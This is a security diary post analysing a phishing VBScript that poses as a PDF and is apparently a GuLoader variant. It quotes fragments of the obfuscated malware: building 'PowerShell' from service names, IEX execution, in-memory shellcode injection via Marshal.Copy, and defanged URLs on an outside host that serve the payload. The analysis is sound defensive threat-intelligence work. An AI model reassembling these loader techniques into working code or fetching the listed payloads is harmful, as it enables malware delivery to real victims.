My next class:
Reverse-Engineering Malware: Advanced Code AnalysisOnline | Greenwich Mean TimeOct 28th - Nov 1st 2024

One File, Two Payloads

Published: 2024-01-12. Last Updated: 2024-01-12 06:12:18 UTC
by Xavier Mertens (Version: 1)
0 comment(s)

It has been a while since I discussed obfuscation techniques in malicious scripts. I found a VB script that pretends to be a PDF file. As usual, it was delivered through a phishing email with a zip archive. The filename is "rfw_po_docs_order_sheet_01_10_202400000000_pdf.vbs" (SHA256:6e6ecd38cc3c58c40daa4020b856550b1cbaf1dbc0fad517f7ca26d6e11a3d75[1])

The script starts with a strange trick: It lists the available Windows services, builds a string containing all the services names, and searches for the substring “Microsoft” across them:

Set Krebse = GetObject("winmgmts:{impersonationLevel=" & "i" & "mpersonate}!\\.\root\cimv2")
on error resume next
Set Adulterant = Krebse.ExecQuery("Select * from Win32_Service")
For Each Diaphanom in Adulterant
    Botn = Botn + Diaphanom.DisplayName
    Anencephaliadelegereel = LenB("Sgetilladelser")
Next
Modangrebs = instr(1,Botn,"Microsoft",vbTextCompare)
if Modangrebs <> 0 then

This looks pretty obvious that it will work because there are a lot of services that contain that string. The purpose is different: To build the string “PowerShell”:

The variable $Modangrebs will contain the first position of the Microsoft string. Then, the script does this:

Modangrebs = mid(Botn,Modangrebs+5,1)
Modangrebs=UCase(Modangrebs)
Figurmr = "ower" + Modangrebs + "hell.exe "

It extracts the letter ’S’ and builds the string.

Indeed, at the end of the script, PowerShell is invoked:

Call Udklknings.ShellExecute("P" & Figurmr, Chr(34) & J4 & Chr(34), "", "", Kalkstene218)

Let’s have a look at the payload “J4”. J4 is based on a series of variables that contains strings, integers, or hex values:

Const Outslink = 15548
Const Srlovssagers = "Acemetae249 Helsidesannoncer Lovhjemmel24"
Const purgatories = &HFFFF2306
Const diatomicity = "Biprodukts205 Sarcogyps Petrification"
Const Unrepetitiously224 = "Riddertidens Posede Hastati Retinal"
Const Afstaaelse = -23507
Const Fyldestgrelses = 35506
Const Grundigt = "Mislabors Beklageliges226 Ranine Chewy"
Const Stikkestingsmaskinen = "Uhs Handpicks Hypersensitizations95"
Const Housewarm = "Sildehajens Microscopises"
Const Shooting = "Tricorn Bigot Vandflyvere126 Heades"
Const Spurtes = &HBF37
Const Tjenstlige = "Anamnestic Cometaria"
Const Directoral = 64675
Const Enderonic = &HFFFFFA7B
Const Udgangsstrm = "Golder Palmebladstaget"
Const Barkede = &HFFFF831D
Const Aa38 = &HFFFF9626
[...]

Everything is concatenated with some manipulations like substring extraction:

Finiglacialramp = Mid("Unplutocratical41",140,245)

Replacements:

Revolutionisestor = Replace(Revolutionisestor,"Straight","Genvindes")

or XOR:

Brannersprintkorrekturs = Brannersprintkorrekturs xor 3898120

The payload is polluted with many strings “Calc32”, replaced by “S” at the end:

J4 = Replace(J4,"Calc32",Modangrebs)

The Powershell payload fetches some content online:

hxxp://85[.]209[.]176[.]46/Lamben.smi>hxxp://ecox[.]pt/Lamben.smi

In the script, only the first element of the array (delimited by “>” is used).

It also uses a simple function to obfuscate its code that, once decoded, is executed with a classic IEX:

Function datas ([String]$Attach)
{
    $zool = 5;
    For($Stagykre=4; $Stagykre -lt $Attach.Length-1; $Stagykre+=$zool)
    {
        $Adjud4 = $Attach.Substring($Stagykre, $Axifer);        
        $Adjud=$Adjud+$Adjud4;
    }
    $Adjud;
}

Based on this function, the following variable will contain “IEX”:

$Adjud01=datas 'DiamiNaveeXeroxMeta ';

The downloaded payload is a simple Base64 chunk of data but there is another nice trick: Only a part of the file contains the payload. Once decoded, it is extracted with the following line:

$global:Adjud3=$Adjud2.substring(287353,19289)

The payload is heavily obfuscated but we can see the following classic actions: Some memory is allocated, fulfilled with executable code and invoked.

$global:Frosties3 = $Frosties16.Invoke([IntPtr]::Zero, 652, 0x3000, 0x40)
[...]
$Frosties21.Invoke($Frosties3,$Frosties20,$Telopha,0,0)

Where is the payload? Once memory has been allocated, there are two chunk of data that are copied in memory:

$Haandk144=287353-652
[...]
[System.Runtime.InteropServices.Marshal]::Copy($Belize, 0,  $Frosties3, 652)
[...]
[System.Runtime.InteropServices.Marshal]::Copy($Belize, 652, $Frosties20, $Haandk144)

What is the contain of the $Belize variable? In the first stage script, the variable was filled with the downloaded content (see URLs above):

$global:Unheredit = Get-Content $Borgmester2
$global:Belize = [System.Convert]::FromBase64String($Unheredit)

That's the magic here: The downloaded payload in Base64 contains two important pieces of data:

From offset 0: the executable payload that is injected and executed in memory.
From offset 287353: the second stage PowerShell script.

The executed payload crashed in my sandbox for an unknown reason but apparently, it launched a "wab.exe" process (from C:\Program Files\Windows Mail). This tool is the "Windows Address Book" application. The process has injected malicious code and tries to fetch another payload from hxxp://85[.]209[.]176[.]46/onNRbDtEslIgGZXX169.bin.

It seems to be a variant of the GuLoader[2] malware.

[1] https://www.virustotal.com/gui/file/6e6ecd38cc3c58c40daa4020b856550b1cbaf1dbc0fad517f7ca26d6e11a3d75
[2] https://misp-galaxy.org/mitre-malware/?h=guloader#guloader-s0561

Xavier Mertens (@xme)
Xameco
Senior ISC Handler - Freelance Cyber Security Consultant
PGP Key

0 comment(s)
My next class:
Reverse-Engineering Malware: Advanced Code AnalysisOnline | Greenwich Mean TimeOct 28th - Nov 1st 2024

Comments


Diary Archives